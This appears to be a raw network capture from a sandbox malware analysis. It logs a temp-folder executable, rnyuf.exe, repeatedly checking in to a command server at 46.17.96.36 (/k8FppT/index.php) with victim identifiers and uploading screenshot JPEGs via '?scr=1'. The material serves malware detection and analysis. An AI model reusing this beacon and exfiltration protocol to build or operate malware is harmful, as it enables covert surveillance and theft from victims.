Aug 29, 2021 22:28:01.609302044 CEST	12251	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:01.679158926 CEST	12252	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.4	49901	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:01.805602074 CEST	12252	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1a6eec0903b36103c3c811a8fa9b0fbd Host: 46.17.96.36 Content-Length: 110771 Cache-Control: no-cache
Aug 29, 2021 22:28:01.805681944 CEST	12253	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 61 36 65 65 63 30 39 30 33 62 33 36 31 30 33 63 33 63 38 31 31 61 38 66 61 39 62 30 66 62 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1a6eec0903b36103c3c811a8fa9b0fbdContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:01.805856943 CEST	12263	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:01.805963039 CEST	12265	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:01.837874889 CEST	12268	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:02.188735962 CEST	12272	OUT	Data Raw: 46 29 80 d3 45 3b 14 62 80 b8 dc 51 4b 8a 29 00 94 0a 28 14 00 b4 51 45 30 0a 51 d2 8a 5a 04 14 51 45 00 14 51 45 00 14 51 45 00 14 52 d1 4c 04 a2 94 d2 50 02 8a 28 a2 81 05 14 51 40 05 3a 9b 4e a6 0c 5a 5e 69 29 69 92 2d 25 06 8a 62 0a 28 a2 80 Data Ascii: F)E;bQK)(QE0QZQEQEQERLP(Q@:NZ^i)i-%b((K@@)ER@E-QEQE'j)h01))hc(E-E'zZ@%-PEPEPKIE-QLAE(ER(!%QE'z-&)QEQEQE((E-(
Aug 29, 2021 22:28:02.220701933 CEST	12273	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:02.221143961 CEST	12274	OUT	Data Raw: 2c 74 8d 3a f3 42 b5 bd fe c1 53 63 75 6b 73 3d ee a7 1c d3 6d d3 e5 52 fb 22 19 72 a3 01 63 c0 70 cc db f8 3c 8a bd ae 69 71 5c 68 89 75 77 a3 98 21 4d 06 c5 e0 d5 de 59 00 69 f6 44 a2 21 ce cc 60 9c ae 37 0c 16 ce 38 af 3e bc d3 26 b0 96 38 ee Data Ascii: ,t:BScuks=mR"rcp<iq\huw!MYiD!`78>&8HRt:S"1QZEt/=Bu3#<ipV*33;71I2J[}0~NI<sZR;UX1nL]E$Du\Pyx{RO[$yc
Aug 29, 2021 22:28:02.253407955 CEST	12276	OUT	Data Raw: c7 1d fa 51 60 9a a7 f6 8d af 99 a7 ed 4f 35 37 37 d8 55 70 32 32 73 b7 8f ad 17 66 8a a5 4d 35 fc 0f 9c 3e 20 68 16 fe 18 f1 c6 a7 a4 5a b1 68 21 64 64 e0 f0 1d 15 f1 c9 27 03 76 39 24 f1 5c d6 33 5d ef c6 4f f9 2a da d7 fd b0 ff 00 d1 11 d7 08 Data Ascii: Q`O577Up22sfM5> hZh!dd'v9$\3]O5X11F)&MbR@E-%QE (JuJZ1E(QL(QEQEQERRS$Z(ZJZKLQE%JcS!1(HPcu!6\RPQE!
Aug 29, 2021 22:28:02.285351992 CEST	12290	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:02.317589998 CEST	12292	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:02.515764952 CEST	12371	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.4	49902	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:01.840262890 CEST	12269	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:01.919353962 CEST	12269	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.4	49903	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:02.078275919 CEST	12270	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:02.149172068 CEST	12270	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.4	49904	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:02.300124884 CEST	12291	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:02.376219034 CEST	12323	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.4	49905	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:02.539150953 CEST	12372	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:02.610326052 CEST	12372	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.4	49906	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:02.816734076 CEST	12373	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:02.893512964 CEST	12463	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.4	49907	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:02.818630934 CEST	12374	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1a6eec0903b36103c3c811a8fa9b0fbd Host: 46.17.96.36 Content-Length: 110771 Cache-Control: no-cache
Aug 29, 2021 22:28:02.818785906 CEST	12374	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 61 36 65 65 63 30 39 30 33 62 33 36 31 30 33 63 33 63 38 31 31 61 38 66 61 39 62 30 66 62 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1a6eec0903b36103c3c811a8fa9b0fbdContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:02.818949938 CEST	12384	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:02.819061995 CEST	12387	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:02.853719950 CEST	12400	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:02.853780031 CEST	12403	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:02.854578972 CEST	12407	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:02.854617119 CEST	12412	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:02.888704062 CEST	12423	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:02.888798952 CEST	12441	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:28:02.889271021 CEST	12446	OUT	Data Raw: 4e 02 80 38 a7 01 4c 86 ce 97 c2 6b 98 f5 1f fa e4 3f 91 ae 74 f0 ed f5 ae a7 c1 f1 ee 83 53 3f f4 cb fa 1a e6 18 7c c7 eb 5c 14 25 fb fa 8b d0 ea ae ad 42 0f d4 6d 18 a5 c5 18 ae db 9c 37 12 9c 28 c5 00 50 20 a5 a5 c5 2e 3d aa 5b 10 98 a3 14 f0 Data Ascii: N8Lk?tS?\|\%Bm7(P .=[xF?AR[i?CU?H=9WeImd[k4>f)w5X*sJ1]/f@7yZKI/&:Z{77?/mZ_Z+
Aug 29, 2021 22:28:02.994050026 CEST	12485	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.4	49908	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:03.052992105 CEST	12486	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:03.130621910 CEST	12486	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49752	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:16.101324081 CEST	2852	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:16.101604939 CEST	2852	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:16.101866961 CEST	2862	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:16.102020025 CEST	2865	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:16.136598110 CEST	2868	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:16.136637926 CEST	2870	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:16.136723042 CEST	2873	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:16.136852980 CEST	2885	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:16.136887074 CEST	2888	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
